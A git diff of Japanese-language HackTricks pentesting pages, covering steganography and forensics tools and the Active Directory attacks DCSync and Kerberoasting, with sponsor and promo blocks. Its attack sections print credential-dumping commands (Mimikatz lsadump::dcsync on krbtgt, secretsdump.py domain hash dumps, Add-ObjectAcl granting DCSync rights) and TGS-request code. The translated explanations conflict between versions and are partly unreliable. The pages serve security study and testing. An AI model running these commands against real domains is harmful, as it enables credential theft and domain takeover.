## 参考文献
|
||||
|
||||
* [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf)
|
||||
|
@ -954,12 +954,12 @@ $("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id=
|
|||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
![](<../.gitbook/assets/image (9) (1) (2).png>)
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
|
|
|
@ -6,8 +6,8 @@
|
|||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのスワッグ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
|
||||
* **ハッキングのトリックを共有する**ために、[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks)と[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。
|
||||
|
||||
</details>
|
||||
|
@ -64,12 +64,12 @@ exiftoolに似たツールです。\
|
|||
`strings -n 6 file`:最小長さ6の文字列を抽出します。\
|
||||
`strings -n 6 file | head -n 20`:最小長さ6の最初の20個の文字列を抽出します。\
|
||||
`strings -n 6 file | tail -n 20`:最小長さ6の最後の20個の文字列を抽出します。\
|
||||
`strings -e s -n 6 file`:7ビット文字列を抽出します。\
|
||||
`strings -e S -n 6 file`:8ビット文字列を抽出します。\
|
||||
`strings -e l -n 6 file`:16ビット文字列(リトルエンディアン)を抽出します。\
|
||||
`strings -e b -n 6 file`:16ビット文字列(ビッグエンディアン)を抽出します。\
|
||||
`strings -e L -n 6 file`:32ビット文字列(リトルエンディアン)を抽出します。\
|
||||
`strings -e B -n 6 file`:32ビット文字列(ビッグエンディアン)を抽出します。
|
||||
`strings -e s -n 6 file`:7ビットの文字列を抽出します。\
|
||||
`strings -e S -n 6 file`:8ビットの文字列を抽出します。\
|
||||
`strings -e l -n 6 file`:16ビットの文字列(リトルエンディアン)を抽出します。\
|
||||
`strings -e b -n 6 file`:16ビットの文字列(ビッグエンディアン)を抽出します。\
|
||||
`strings -e L -n 6 file`:32ビットの文字列(リトルエンディアン)を抽出します。\
|
||||
`strings -e B -n 6 file`:32ビットの文字列(ビッグエンディアン)を抽出します。
|
||||
|
||||
### cmp - 比較
|
||||
|
||||
|
@ -82,13 +82,13 @@ cmp original.jpg stego.jpg -b -l
|
|||
### スペースに隠されたデータ
|
||||
|
||||
もしもある**テキスト行**が予想よりも**大きい**場合、見えない文字を使って**スペース**の中に**隠された情報**が含まれている可能性があります。\
|
||||
データを**抽出**するためには、以下のリンクを使用できます: [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder)
|
||||
データを**抽出**するためには、以下のリンクを使用できます:[https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder)
|
||||
|
||||
![](<../.gitbook/assets/image (9) (1) (2).png>)
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築し、自動化することができます。\
|
||||
今すぐアクセスを取得してください:
|
||||
今すぐアクセスを取得:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
|
@ -96,11 +96,11 @@ cmp original.jpg stego.jpg -b -l
|
|||
|
||||
### identify
|
||||
|
||||
[GraphicMagick](https://imagemagick.org/script/download.php)ツールを使用して、ファイルがどの種類の画像であるかを確認することができます。また、画像が破損しているかどうかも確認します。
|
||||
[GraphicMagick](https://imagemagick.org/script/download.php)ツールを使用して、ファイルがどの種類の画像であるかを確認します。また、画像が破損しているかどうかも確認します。
|
||||
```
|
||||
./magick identify -verbose stego.jpg
|
||||
```
|
||||
画像が損傷している場合、メタデータコメントを追加することで復元することができるかもしれません(非常にひどく損傷している場合はこれは機能しません)。
|
||||
画像が損傷している場合、メタデータコメントを追加するだけで復元できる場合があります(非常にひどく損傷している場合は機能しないかもしれません):
|
||||
```bash
|
||||
./magick mogrify -set comment 'Extraneous bytes removed' stego.jpg
|
||||
```
|
||||
|
@ -114,7 +114,7 @@ Steghideは、さまざまな種類の画像や音声ファイルにデータを
|
|||
|
||||
また、ウェブを使用してsteghideからコンテンツを抽出することもできます:[https://futureboy.us/stegano/decinput.html](https://futureboy.us/stegano/decinput.html)
|
||||
|
||||
**Steghideのブルートフォース攻撃**: [stegcracker](https://github.com/Paradoxis/StegCracker.git) `stegcracker <file> [<wordlist>]`
|
||||
**Bruteforcing** Steghide: [stegcracker](https://github.com/Paradoxis/StegCracker.git) `stegcracker <file> [<wordlist>]`
|
||||
|
||||
### Zsteg \[PNG, BMP] <a href="#zsteg" id="zsteg"></a>
|
||||
|
||||
|
@ -126,11 +126,11 @@ zstegは、pngおよびbmpファイルに隠されたデータを検出するツ
|
|||
|
||||
### stegoVeritas JPG、PNG、GIF、TIFF、BMP
|
||||
|
||||
このツールは、ファイルのメタデータをチェックしたり、変換された画像を作成したり、LSBをブルートフォースしたりするなど、さまざまなシンプルで高度なトリックを実行することができます。完全な機能については、`stegoveritas.py -h`を参照してください。すべてのチェックを実行するには、`stegoveritas.py stego.jpg`を実行します。
|
||||
このツールは、ファイルのメタデータをチェックしたり、変換された画像を作成したり、LSBをブルートフォースしたりするなど、さまざまなシンプルで高度なトリックを実行することができます。その全ての機能については、`stegoveritas.py -h`を参照してください。すべてのチェックを実行するには、`stegoveritas.py stego.jpg`を実行します。
|
||||
|
||||
### Stegsolve
|
||||
|
||||
画像自体にメッセージやテキストが隠されている場合、それを表示するには、カラーフィルタを適用したり、一部のカラーレベルを変更したりする必要があります。GIMPやPhotoshopのようなツールを使用してこれを行うこともできますが、Stegsolveを使用すると簡単になります。これは、画像に多くの便利なカラーフィルタを適用する小さなJavaツールです。CTFの課題では、Stegsolveはしばしば本当の時間節約者です。\
|
||||
画像自体にメッセージやテキストが隠されている場合、それを表示するためには、カラーフィルタを適用したり、カラーレベルを変更したりする必要があります。GIMPやPhotoshopのようなツールを使用してこれを行うこともできますが、Stegsolveを使用すると簡単になります。これは、画像に多くの便利なカラーフィルタを適用する小さなJavaツールです。CTFの課題では、Stegsolveはしばしば本当の時間節約者です。\
|
||||
[GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve)から入手できます。\
|
||||
使用するには、画像を開き、`<` `>`ボタンをクリックします。
|
||||
|
||||
|
@ -145,7 +145,7 @@ Fast Fourier Tを使用して隠されたコンテンツを検出するには:
|
|||
|
||||
### Stegpy \[PNG, BMP, GIF, WebP, WAV]
|
||||
|
||||
ステガノグラフィを使用して画像や音声ファイルに情報をエンコードするためのプログラムです。データは平文または暗号化として保存することができます。\
|
||||
ステガノグラフィーを介して画像や音声ファイルに情報をエンコードするためのプログラムです。データは平文または暗号化として保存することができます。\
|
||||
[GitHub](https://github.com/dhsdshdhk/stegpy)で見つけることができます。
|
||||
|
||||
### Pngcheck
|
||||
|
@ -185,7 +185,7 @@ WavStegは、wavファイルに最下位ビットを使用してデータを隠
|
|||
|
||||
### Sonic visualizer <a href="#sonic-visualizer" id="sonic-visualizer"></a>
|
||||
|
||||
Sonic visualizerは、オーディオファイルの内容を表示および分析するためのツールです。オーディオステガノグラフィの課題に直面した場合、他の多くのツールでは検出できないオーディオファイルの隠れた形状を明らかにするのに非常に役立ちます。\
|
||||
Sonic visualizerは、オーディオファイルの内容を表示および分析するためのツールです。オーディオステガノグラフィーチャレンジに直面したときに非常に役立ちます。他の多くのツールでは検出できないオーディオファイルの隠れた形状を明らかにすることができます。\
|
||||
行き詰まった場合は、常にオーディオのスペクトログラムをチェックしてください。[公式ウェブサイト](https://www.sonicvisualiser.org/)
|
||||
|
||||
### DTMF Tones - ダイヤル音
|
||||
|
|
|
@ -1,9 +1,9 @@
|
|||
# DCSync
|
||||
|
||||
![](<../../.gitbook/assets/image (9) (1) (2).png>)
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築し、自動化**することができます。\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築し、自動化**します。\
|
||||
今すぐアクセスを取得:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -13,9 +13,9 @@
|
|||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです
|
||||
* [**公式のPEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
|
||||
|
||||
</details>
|
||||
|
@ -40,39 +40,32 @@ Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveG
|
|||
|
||||
DCSyncは、Active Directory(AD)ドメインコントローラ(DC)からユーザーのハッシュを取得するための攻撃手法です。この攻撃手法を使用すると、攻撃者はドメイン内の任意のユーザーアカウントのハッシュを取得できます。
|
||||
|
||||
DCSync攻撃を実行するためには、攻撃者はドメイン内の有効なユーザーアカウントを持つ必要があります。攻撃者は、攻撃対象のドメインコントローラに対して認証を行い、NTLMハッシュを取得します。
|
||||
DCSync攻撃を実行するためには、攻撃者はドメイン内の有効なユーザーアカウントを持つ必要があります。攻撃者は、攻撃対象のドメインコントローラに対して特権を持つアクセス権を取得する必要があります。
|
||||
|
||||
以下の手順に従って、DCSync攻撃をローカルで実行することができます。
|
||||
以下は、DCSync攻撃の手順です。
|
||||
|
||||
1. 攻撃者は、攻撃対象のドメインコントローラに対して認証を行います。これには、有効なユーザーアカウントの資格情報が必要です。
|
||||
1. 攻撃者は、攻撃対象のドメインコントローラに対して特権を持つアクセス権を取得します。
|
||||
|
||||
2. 攻撃者は、攻撃対象のドメインコントローラに対してDCSync攻撃を実行します。これにより、攻撃者はドメイン内の任意のユーザーアカウントのハッシュを取得できます。
|
||||
|
||||
DCSync攻撃は、攻撃者がドメイン内のユーザーアカウントのハッシュを取得するための効果的な手法です。しかし、この攻撃手法を実行するためには、攻撃者が有効なユーザーアカウントの資格情報を持っている必要があります。
|
||||
DCSync攻撃は、攻撃者がドメイン内のユーザーアカウントのハッシュを取得するための効果的な手法です。攻撃者はこれらのハッシュを使用して、パスワードの解析や他の攻撃手法に利用することができます。
|
||||
```powershell
|
||||
Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'
|
||||
```
|
||||
### リモートでの攻撃
|
||||
|
||||
To exploit the DCSync attack remotely, you need to have remote code execution (RCE) or a compromised account on a domain-joined machine. Once you have gained access to a machine within the domain, you can use the `mimikatz` tool to perform the DCSync attack.
|
||||
DCSyncは、Active Directory(AD)ドメインコントローラ(DC)からユーザーのハッシュを取得するための攻撃手法です。この攻撃は、リモートで実行することができます。
|
||||
|
||||
リモートでDCSync攻撃を行うには、リモートコード実行(RCE)またはドメインに参加しているマシン上の侵害されたアカウントが必要です。ドメイン内のマシンにアクセスできたら、`mimikatz`ツールを使用してDCSync攻撃を実行できます。
|
||||
攻撃者は、以下の手順に従ってDCSyncを実行します。
|
||||
|
||||
First, you need to download and execute `mimikatz` on the compromised machine. Then, you can use the following command to perform the DCSync attack:
|
||||
1. 攻撃者は、攻撃対象のADドメインに対して有効なユーザーの資格情報を取得します。
|
||||
2. 攻撃者は、攻撃対象のドメインコントローラに対してリモートで接続します。
|
||||
3. 攻撃者は、DCSyncツールを使用して、攻撃対象のユーザーのハッシュを取得します。
|
||||
4. 攻撃者は、取得したハッシュを使用して、攻撃対象のユーザーの特権を悪用することができます。
|
||||
|
||||
まず、侵害されたマシンに`mimikatz`をダウンロードして実行する必要があります。次に、以下のコマンドを使用してDCSync攻撃を実行できます。
|
||||
DCSync攻撃は、攻撃者が有効なユーザーの資格情報を取得できる場合にのみ成功します。したがって、攻撃者は、ソーシャルエンジニアリングや他の手法を使用して、有効なユーザーの資格情報を入手する必要があります。
|
||||
|
||||
```plaintext
|
||||
mimikatz # lsadump::dcsync /user:<username>
|
||||
```
|
||||
|
||||
Replace `<username>` with the username of the domain account you want to extract the credentials from. This command will retrieve the NTLM hash of the specified user's password from the domain controller.
|
||||
|
||||
`<username>`を抽出したいドメインアカウントのユーザー名に置き換えてください。このコマンドは、指定したユーザーのパスワードのNTLMハッシュをドメインコントローラから取得します。
|
||||
|
||||
Once you have the NTLM hash, you can use various techniques to crack it and obtain the plaintext password. This allows you to impersonate the compromised user and gain unauthorized access to sensitive resources within the domain.
|
||||
|
||||
NTLMハッシュを取得したら、さまざまな手法を使用してそれを解読し、平文のパスワードを取得できます。これにより、侵害されたユーザーをなりすまし、ドメイン内の機密リソースに不正アクセスすることができます。
|
||||
この攻撃手法は、リモートで実行されるため、攻撃者は物理的に攻撃対象のネットワークにアクセスする必要はありません。ただし、攻撃者は攻撃対象のドメインコントローラに対してリモートで接続する必要があります。
|
||||
```powershell
|
||||
secretsdump.py -just-dc <user>:<password>@<ipaddress> -outputfile dcsync_hashes
|
||||
[-just-dc-user <USERNAME>] #To get only of that user
|
||||
|
@ -81,9 +74,9 @@ secretsdump.py -just-dc <user>:<password>@<ipaddress> -outputfile dcsync_hashes
|
|||
```
|
||||
`-just-dc`は3つのファイルを生成します:
|
||||
|
||||
* **NTLMハッシュ**を含むファイル
|
||||
* **Kerberosキー**を含むファイル
|
||||
* [**可逆暗号化**](https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/store-passwords-using-reversible-encryption)が有効になっているNTDSのクリアテキストパスワードを含むファイル。可逆暗号化が有効なユーザーは次のコマンドで取得できます。
|
||||
* **NTLMハッシュ**を含む1つのファイル
|
||||
* **Kerberosキー**を含む1つのファイル
|
||||
* **[可逆暗号化](https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/store-passwords-using-reversible-encryption)**が有効になっているNTDSのクリアテキストパスワードを含む1つのファイル。可逆暗号化を使用しているユーザーは、次のコマンドを使用して取得できます。
|
||||
|
||||
```powershell
|
||||
Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} |select samaccountname,useraccountcontrol
|
||||
|
@ -95,7 +88,7 @@ Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD
|
|||
```powershell
|
||||
Add-ObjectAcl -TargetDistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -PrincipalSamAccountName username -Rights DCSync -Verbose
|
||||
```
|
||||
次に、**ユーザーが正しく割り当てられているかどうかを確認**することができます。これには、以下の出力からそれらの特権の名前を見つける必要があります(特権の名前は「ObjectType」フィールド内に表示されます):
|
||||
次に、**ユーザーが正しく割り当てられているかどうかを確認**することができます。これには、以下の出力から特権の名前を見つける必要があります(特権の名前は「ObjectType」フィールド内に表示されます):
|
||||
```powershell
|
||||
Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{$_.IdentityReference -match "student114"}
|
||||
```
|
||||
|
@ -115,18 +108,18 @@ Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveG
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか?または、HackTricksをPDFでダウンロードしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
|
||||
|
||||
</details>
|
||||
|
||||
![](<../../.gitbook/assets/image (9) (1) (2).png>)
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築して自動化します。\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築および自動化します。\
|
||||
今すぐアクセスを取得:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
|
@ -1,9 +1,9 @@
|
|||
# Kerberoast(Kerberoasting)
|
||||
# Kerberoast(Kerberoast)
|
||||
|
||||
![](<../../.gitbook/assets/image (9) (1) (2).png>)
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**し、自動化することができます。\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**し、自動化します。\
|
||||
今すぐアクセスを取得:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -12,17 +12,17 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか?または、HackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**公式のPEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
|
||||
|
||||
</details>
|
||||
|
||||
## Kerberoast(Kerberoasting)
|
||||
## Kerberoast(Kerberoast)
|
||||
|
||||
**Kerberoasting(Kerberoast)**の目的は、AD内でユーザーアカウントの代わりに実行されるサービスのための**TGSチケットを収集**することです。したがって、これらのTGSチケットの一部は、ユーザーパスワードから派生したキーで**暗号化**されています。その結果、これらの資格情報はオフラインで**クラック**される可能性があります。\
|
||||
**Kerberoasting(Kerberoast)**の目的は、AD内でユーザーアカウントの代わりに実行されるサービスのための**TGSチケットを収集**することです。したがって、これらのTGSチケットの一部は、ユーザーパスワードから派生したキーで**暗号化**されています。その結果、その資格情報はオフラインで**クラック**される可能性があります。\
|
||||
ユーザーアカウントがサービスとして使用されていることを知ることができるのは、プロパティ**"ServicePrincipalName"**が**nullでない**場合です。
|
||||
|
||||
したがって、Kerberoastingを実行するには、特権は必要ありませんので、TGSを要求できるドメインアカウントのみが必要です。
|
||||
|
@ -63,13 +63,13 @@ Get-NetUser -SPN | select serviceprincipalname #Powerview
|
|||
```
|
||||
* **テクニック1: TGSを要求し、メモリからダンプする**
|
||||
|
||||
このテクニックでは、攻撃者はKerberos認証プロトコルを悪用して、ターゲットのActive Directory(AD)環境からTGS(Ticket Granting Service)を取得し、それをメモリからダンプします。TGSは、ユーザーがサービスにアクセスするために必要なチケットです。
|
||||
このテクニックでは、攻撃者はKerberos認証プロトコルを悪用して、ターゲットのActive Directory(AD)環境からTGS(Ticket Granting Service)を取得し、メモリからダンプします。
|
||||
|
||||
攻撃者は、まずターゲットのユーザーのTGT(Ticket Granting Ticket)を取得します。次に、TGTを使用してTGSを要求し、そのTGSをメモリからダンプします。このダンプには、攻撃者が後でオフラインで解析できるTGSの暗号化された情報が含まれています。
|
||||
攻撃者はまず、有効なユーザーアカウントを特定します。次に、攻撃者はこのアカウントを使用して、ターゲットのサービスアカウントに対してTGSを要求します。TGSは、サービスアカウントが特定のサービスにアクセスするために必要なチケットです。
|
||||
|
||||
このテクニックを成功させるためには、攻撃者はターゲットのユーザーの資格情報を取得する必要があります。これは、ソーシャルエンジニアリング、フィッシング、パスワードリスト攻撃など、さまざまな手法を使用して達成することができます。
|
||||
攻撃者は、要求したTGSをメモリからダンプすることで、その中に含まれるサービスアカウントのハッシュを取得します。このハッシュは、攻撃者がオフラインで解析することができるため、攻撃者はサービスアカウントのパスワードを特定することができます。
|
||||
|
||||
この攻撃は、Active Directory環境のセキュリティを向上させるために、Kerberosの設定とハードニングを行うことで防ぐことができます。
|
||||
このテクニックは、攻撃者が有効なユーザーアカウントを取得し、その権限を悪用することができるため、重大なセキュリティリスクとなります。したがって、Active Directory環境のセキュリティを強化するためには、適切な対策が必要です。
|
||||
```powershell
|
||||
#Get TGS in memory from a single user
|
||||
Add-Type -AssemblyName System.IdentityModel
|
||||
|
